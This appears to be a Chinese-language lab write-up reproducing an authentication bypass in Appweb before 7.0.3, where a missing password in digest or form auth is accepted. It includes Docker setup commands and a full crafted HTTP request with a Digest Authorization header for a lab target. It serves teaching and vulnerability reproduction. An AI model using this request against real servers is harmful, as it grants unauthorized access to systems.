漏洞背景:
Appweb是一个嵌入式HTTP Web服务器,主要的设计思路是安全。这是直接集成到客户的应用和设备,便于开发和部署基于Web的应用程序和设备。它迅速( 每秒处理3500多要求)而紧凑 ,其中包括支持动态网页制作,服务器端嵌入式脚本过程中的CGI ,可加载模块的SSL ,摘要式身份验证,虚拟主机, Apache样式配置,日志记录,单和多线程应用程序。它提供了大量的文档和示例。
漏洞原理
其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功, 并返回session。
漏洞实现条件
1已知用户名
漏洞复现
docker-compose up -d #开启环境
docker-compose down #结束环境
1直接访问目标
2靶场里告诉了有一个账户是joshua或者得用户名枚举来获取用户名
拦截数据包
修改http头后重放数据包
也可以直接拦截修改数据包
数据包如下:
GET / HTTP/1.1
Host: 192.168.174.155:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Digest username=“admin”, realm=“example.com”, nonce=“YWZkYjhlZWNmYjg2ZTZiMzpleGFtcGxlLmNvbToxNzZiMjU3N2I0ODoxMA==”, uri="/", algorithm=MD5, response=“d5b8335577118b571c57ebffbe633b2f”, opaque=“799d5”, qop=auth, nc=00000001, cnonce=“85236c7eb52970a7”
访问后的页面如下图所示: